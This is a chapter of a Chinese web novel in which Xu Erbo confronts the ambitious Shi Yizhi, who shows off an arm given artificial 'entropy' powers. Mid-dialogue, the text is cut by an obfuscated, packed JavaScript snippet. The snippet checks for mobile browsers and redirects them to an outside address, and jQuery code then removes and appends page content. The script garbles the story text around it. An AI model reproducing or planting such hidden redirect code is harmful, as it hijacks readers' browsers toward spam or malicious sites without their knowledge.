“已经造出来了”
空旷的大殿回荡着施义之平静的声音,像冰冻的湖面下,翻腾满溢的沙丁鱼群。
膝盖突突跳着,神经麻木蔓延至全身,细细密密的冷汗浸湿了徐二伯的后背。
人造的熵,还是人造的南神官的熵引?
是施义之在人工造熵?还是光禄寺在人工造熵?
和她的熵圈有什么关系?
和带她进光禄寺有什么关系?
她还只是个树叶都扫不干净,谁也打不过的小鼻嘎……
就因为金神官的指名,都以为她是金神官的人!?
神官的人就是他们的对立面!?
拉拢南神官又是为了什么?
“您带我进来不是为了还金册吧?”徐二伯试探地问道,还能不能出得去这所大殿都不知道。
施义之意外地看了徐二伯一眼,意思好像是,都到这会了还问这种蠢问题。
“从你第一次和刘锦交手,少白就上报了。“还算耐心地解释道。
“少白?”
“上一任少卿。”施义之手拂袖袍,弹了下灰尘,甚是不屑。
“那偏偏挑今天带我进光禄寺?”如果是之前,石清泉就不会在今天出事了。
光禄寺要做什么,施义之要做什么,或是神官要做什么,都与她和石清泉无关,为什么要伤及石清泉的性命,为什么伤及石清泉的性命之后,又这么轻描淡写地带过。
“无论你因为什么原因跟了金神官,你和石清泉是跟着我入的上乙殿,始终是我的弟子,自然是照拂你们的”言下之意,徐二伯还是攀上了关系才得进的光禄寺。
跟着你进的上乙殿?
我怎么不知道!?
弟子?
我怎么不知道!?
我自主选择留在神殿,变成了你眼中的跟随。天天躲着你,就变成了你口中的弟子?
无论徐二伯说过什么,做过什么,施义之好像永远在自己的视角和认知里。
“即使现在带你进来,也是有风险的。”施义之甚至带着不求回报的语气。
“为什么?因为金神官?”徐二伯并不想延伸单方面存在的师徒情谊的话题。
“没有人看过金神官的熵是什么。”
又来了。
施义之看向徐二伯的眼睛,他在试探。
“金神官也有熵?”徐二伯惊讶道,并非故意,她是真的不知道,谁也没见过金神官动手,也不会有人去和一位德高望重的神官动手。
“人们只知道神殿供奉神官,人类参拜神官,却不知道从神官的诞生开始,他们就会使用熵。”施义之声音悠远,久久回荡在大殿内。
徐二伯害怕了。
他们处心积虑地接近南神官。
是想人造熵?还是想取代南神官!?
或者,不只是南神官?
……
“我不知道这些……”
“你不知道?”施义之并不信她说的话,“你可是金神官指明的殿主。”
“为什么不信……”徐二伯其实已经解释过一遍又一遍了,包括施义之的他们,至始至终根本不信。
金神官与她的金靴之约,在他们眼中是异类,是不可能发生。
“殿主不是我自愿去当的……金册还给你,我还是做我的洒扫吧。”
“呵,殿主算什么!我根本不在意!”施义之像被踩中尾巴的猫,声音陡然尖利。
是了,施义之现在是少卿了,怎么会看上殿主这样的位置。
眉毛吊起,眼睛瞪圆,表情甚至有些夸张,不像往常内敛的施义之。
有点反常。
“少卿才是你的目标?”徐二伯小心翼翼地问。
“实至名归,实力。”
空荡荡的大殿,施义之昂首挺胸,仿佛目之所及的这所大殿,这所大殿背后的光禄寺,或者更广阔的地域,都为他所有。
“少卿的位置,总会是我的。”
有点狂。
……
施义之用的是手臂,可以延长和折断的手臂。
是复刻的熵引?但是好像不一样。
他的手臂变长是一段段的递增,肉眼可见,越往前端的手臂越细窄,就像伸缩杆一样,一节管子套着一节管子,底端的管子最粗,越往顶端越细。
一眼可以看出他的手臂是机械同化的变化系。
与南神官熵引的实际本质有天差地别。
徐二伯又瞥到地上两堆诡异的枯叶。
除了复刻熵引,还在在复刻熵圈?
这两堆树叶的本体没有发生变化,用的位移?
强化系或者变化系?
还是二者皆有之?
徐二伯突然悄悄地松了一口气。似乎,他们对熵的本质有误解。
“实力?”徐二伯轻声问地像是自言自语,继续试探施义之。
“观察不仔细哦,二伯。”施义之轻笑一声。
越是黑暗,越看不到表面之下的波涛汹涌。
施义之多年任殿主,人们只知道他处事公正,格局宽阔,却无人了解正真的他,没人知道他真正想要的是什么。
在这个空荡荡,看不清深远的大殿,施义之终于掀开他的平静。
“噶、噶、噶。”
他伸出的右手臂像故意演示一般,缓慢地折成两截,从旧的手臂内,一节一节抽出灰白色的新胳膊,手臂一直延伸,直到手掌摸到巨大钟罩的顶部。
“机械同化?”徐二伯不禁问道。
“是,也不是。”施义之很得意,才有兴致讨论技术细节。
“如何不是?变化系?”徐二伯反问。
“啊哈哈哈哈哈哈哈哈哈哈。”施义之宏亮的笑声在大殿内回荡。
真的狂。
“你再仔细看看。”
最前端长出的手臂表层,灰白色的薄膜逐渐硬化,变成硬质外壳,当外壳的颗粒质到一定程度,开始龟裂,一层层掉落,从第一节到最后一节手臂,露出内里,长出新的血肉,最终与最初的手臂一样粗细。
远看像一节一节接上的机械臂。
“强化系?”
“啊哈哈哈哈哈,这就是光禄寺造出的熵!”回音震地徐二伯的耳朵有点痛。
“没人想的到!只有我!光禄寺少卿少白又如何?不过是我的手下败将!”
“变化系和强化系。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15682007|173075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”徐二伯若有所思,异常冷静。
“哼!机械同化只能二选一,即使最不常见的防御体质,石清泉也不过是强化系尔尔。而我的手臂,只有我,同时具备了强化系和变化系。啊哈哈哈哈哈哈!还有谁!?光禄寺这座庙也未必能放得下我!”
这才是真正的施义之。
都说少年轻狂,他现在看起来像老年发疯。
徐二伯不动声色,按金神官给出的说法推断,强化系与变化系还是在机械同化的表象,与秩序无关,与熵无关。
施义之好像忘了金靴?他不知道金靴的原理?
徐二伯天天在金神官面前说的小故事,也许只有她和金神官在意这个不起眼的小东西。
穿上金靴可使人力大无穷,正是机械同化的强化系与变化系共同作用的结果。
神殿内普通人的机械同化只有一种,人们认为的规则是只有一种。如此说来,金神官应是察觉了金靴的特别之处。
施义之像竹节一般,一段一段的新长出的手臂,血肉之躯却透着森白之色。
怕是要让施义之失望了。
他并不是第一人。
不仅不是第一人,施义之对熵引的理解更是差之毫厘,谬以千里。
徐二伯怀念热气腾腾的大浴池,怀念一本正经参拜的信众,隔着幕帘,用金册偷看小人书的金神官,怀念她洒扫的内殿前,种下的各种五颜六色的花草。
就为了这个肉长出来看着脆弱不堪的破竹子,搅合得天翻地覆,甚至没了石清泉!?
啊,无聊。
“既然你都有了,还带我进光禄寺作甚?”徐二伯心里明白,施义之让她知道了这么多,已无可能让她置身事外保持中立。
“验证,没有人见过熵真正的模样。”
深深的无力感。
神殿以外,甚至很少能听到人类交谈的声音,到处充斥着气阀与轴承运转的声音。从最后的机械革命以后,在一次次降本增效的浪潮中,世界剩下一片片斑秃的钢铁色。
每日睁眼便是跟着人群按部就班去流水线,晚上跟着人群回到铁盒。
只有流水线,所有人都是流水线的一部分,定时定额完成指定动作,日复一日。没有人去做规定外的事,那是被判定为无意义的事,世间再无有趣这样的词汇。
就在这个人人都是永动机的时候,每一片钢筋森林中出现了一座神殿,它像一个圆心,自带磁场,时常会有迷茫的人类在周围徘徊。
人类裹着长袍聚在神殿内,寻求慰藉日渐钢铁般冰冷干涸的心灵。
得到真正的熵你们想做什么!?
神殿,人类最后的这方净土也不能放过!?
徐二伯确实无法再中立,但是至少,她不会选施义之这边。
“那又何必伤石清泉?”徐二伯厉声质问。
“这是意外。石清泉也算是死得其所,没有了他,南神官也能安心去晨七殿。”
石清泉在他的眼中不算什么,人命在他眼中不算什么。也许不止人命,生命在他们眼中都不算什么,草芥、蝼蚁、人,只不过是看有没有使命罢了。
“死得其所!?为了接近南神官,就可以牺牲石清泉!?”